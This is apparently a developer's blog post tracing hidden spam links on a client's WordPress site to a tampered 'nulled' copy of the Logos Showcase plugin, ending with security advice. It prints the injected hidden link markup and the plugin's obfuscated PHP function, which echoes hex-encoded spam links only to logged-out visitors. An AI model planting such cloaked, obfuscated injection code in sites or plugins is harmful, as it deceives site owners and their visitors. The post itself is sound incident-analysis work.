How I tracked WordPress spam links to their plugin malware

An issue popped up on a client site this week: a Wordfence security scan discovered spam links to the websites and all across the site—or more precisely, in the site cache only.

These sites have been recently flagged by Wordfence’s blacklist (so don’t click them!), but Wordfence couldn’t detect the source, so I had to find it.

Here was the bad code:

<div style="display:none"><a href="">Free WordPress Themes</a>, <a href="">Free Android Games</a></div>

From its placement on the site, I was able to figure out it was being sent via WordPress’s wp_footer(), which meant it wasn’t a theme issue but likely coming from a plugin.

A Google search for “dlwordpress hack” confirmed others had had this issue—that a site trafficking in “nulled” plugins borrowed from their original creators was modifying them with malware. The Stack Overflow discussion suggested a couple of tricks that were hiding it: the code would only show up conditionally for non-logged in users, making it harder for site owners/developers to notice, and the code itself was hiding its links behind hexadecimal code in the backend. This is why Wordfence was able to spot the link in the cache but not the plugin code.

At that point I logged into the server with SSH and started doing grep searches. There were no results for the sorry_function that the spammers had previously shipped out: perhaps they changed it after being outed on Stack Overflow.

I was stumped. So I searched the whole HTML spam result in Google instead, which led me to a page on Sucuri’s invaluable Hex Decoder tool—someone else had run the hidden code through Hex Decoder and got the links being published on my site, leaving the search result public. (Since I knew the code was going up in wp_footer(), add_action('wp_footer()', could’ve been another, if more common, string to search for if the other search had been a dead end.)

But this reverse search gave me back the hex code to search for with grep, and it popped right up in logos-showcase/shortcode-generator.php, line 921, buried at the end of the .php file:

function rankie_linkinfooter() {if ( is_user_logged_in() ) {
} else { 
echo"\x3cd\x69v\x20s\x74\x79le=\"\x64i\x73p\x6c\x61y:\x6e\x6fne\x22>\x3c\x61\x20h\x72ef\x3d\"ht\x74\x70://\x64l\x77ord\x70r\x65\x73\x73.\x63om/\x22\x3eF\x72\x65e\x20\x57o\x72\x64\x50\x72es\x73\x20\x54he\x6d\x65s\x3c/a>, <\x61 \x68re\x66=\x22\x68\x74\x74p\x73://d\x6ca\x6ed\x72o\x69d24.\x63\x6fm/\x22>\x46\x72e\x65\x20\x41n\x64\x72oid G\x61m\x65\x73

This was in version 1.8.4 of Logos Showcase, which is a plugin officially (and presumably spam-free) sold by Code Canyon, and now on version 1.9.

Morals of the story

  • Don’t buy or download plugins from off-brand and third-party sites—and pay the full price for pro-grade plugins
  • Vet your plugin source code!
  • Log out to analyze your site’s integrity
  • Scan your site regularly
  • Google is your friend